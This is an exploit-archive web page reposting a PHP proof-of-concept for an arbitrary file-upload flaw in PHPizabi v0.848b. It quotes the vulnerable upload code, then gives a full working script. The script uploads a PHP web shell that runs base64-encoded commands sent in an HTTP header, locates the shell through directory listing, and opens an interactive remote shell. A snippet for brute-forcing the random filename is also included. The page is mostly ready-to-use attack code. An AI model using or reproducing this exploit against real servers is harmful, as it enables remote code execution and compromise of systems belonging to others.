首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHPizabi v0.848b C1 HFP1-3 Remote Arbitrary File Upload Exploit
来源:n0b0d13s[at]gmail[dot]com 作者:EgiX 发布时间:2009-03-26  
<?php

/*
---------------------------------------------------------------
PHPizabi v0.848b C1 HFP1-3 Remote Arbitrary File Upload Exploit
---------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.phpizabi.net/

This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

[-] vulnerable code in /modules/interact/file.php

29. if (isset($_POST["Submit"])) {
30.
31. if (is_uploaded_file($_FILES["file"]["tmp_name"])) {
32. $filename = strtolower(rand(1,999)."_".basename($_FILES["file"]["name"]));
33. move_uploaded_file($_FILES["file"]["tmp_name"], "system/cache/temp/{$filename}");
34.
35. $ext = strtolower(substr(basename($_FILES["file"]["name"]), strlen(basename($_FILES["file"]["name"]))-3));
36. if (in_array($ext, explode(",", $CONF["ATTACHMENT_ALLOWED_EXTENTIONS"]))) {
37.
38. //
39. // If the user is online, we will send the page
40. // to the lane system
41. //
42. if (_fnc("user", $_GET["id"], "last_load") > date("U")-300) {
43.
44. _fnc("laneMakeToken", "file", $_GET["id"], array(
45. "{user.username}" => me("username"),
46. "{file}" => "system/cache/temp/".$filename,
47. ));
48. }

PHPizabi is prone to a vulnerability that lets remote attackers to upload and execute arbitrary script code.
The uploaded file is saved into "/system/cache/temp/" directory and the filename has the form xxx_filename.ext,
where xxx is a random number between 1 and 999. If directory listing isn't denied the attacker does not need to
know the actual filename (this poc works only in this case), otherwise there are various ways to retrieve the
filename, e.g. with this script:

$chunk = range(1, 999);
shuffle($chunk);

$packet  = "GET {$path}system/cache/temp/%d_filename.ext HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

foreach($chunk as $val)
if (!preg_match("/404 Not Found/i", http_send($host, sprintf($packet, $val)))) break;
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
  die("\nsocket_create(): " . socket_strerror($s) . "\n");

if (socket_connect($s, $host, 80) == false)
  die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

socket_write($s, $packet, strlen($packet));
while ($m = socket_read($s, 2048)) $response .= $m;

socket_close($s);
return $response;
}

function upload()
{
global $host, $path;

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n\"Send\"\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"file\"; filename=\"poc.php\"\r\n\r\n";
$payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}?L=interact.file&id=0 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

http_send($host, $packet);

$packet  = "GET {$path}system/cache/temp/ HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match("/[0-9]*_poc.php/", http_send($host, $packet), $match))
return $match[0];

die("\n[-] Directory listing denied\n");
}

print "\n+-------------------------------------------------------------------------+";
print "\n| PHPizabi v0.848b C1 HFP1-3 Remote Arbitrary File Upload Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpizabi/\n\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$r_path = upload();

$packet  = "GET {$path}system/cache/temp/{$r_path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nPHPizabi-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed\n");
}

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mozilla Firefox XSL Parsing Re
·ECShop <= v2.6.2 SQL injection
·IncrediMail 5.86 (XSS) Script
·PhotoStand 1.2.0 Remote Comman
·Femitter FTP Server 1.x Multip
·XM Easy Personal FTP Server <=
·Microsoft GdiPlus.dll EMF GpFo
·FreeSSHd 1.2.1 (rename) Remote
·Adobe Acrobat Reader JBIG2 Uni
·My Simple Forum 7.1 (LFI) Remo
·Free Arcade Script 1.0 Auth By
·Abee Chm Maker 1.9.5 (CMP File
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved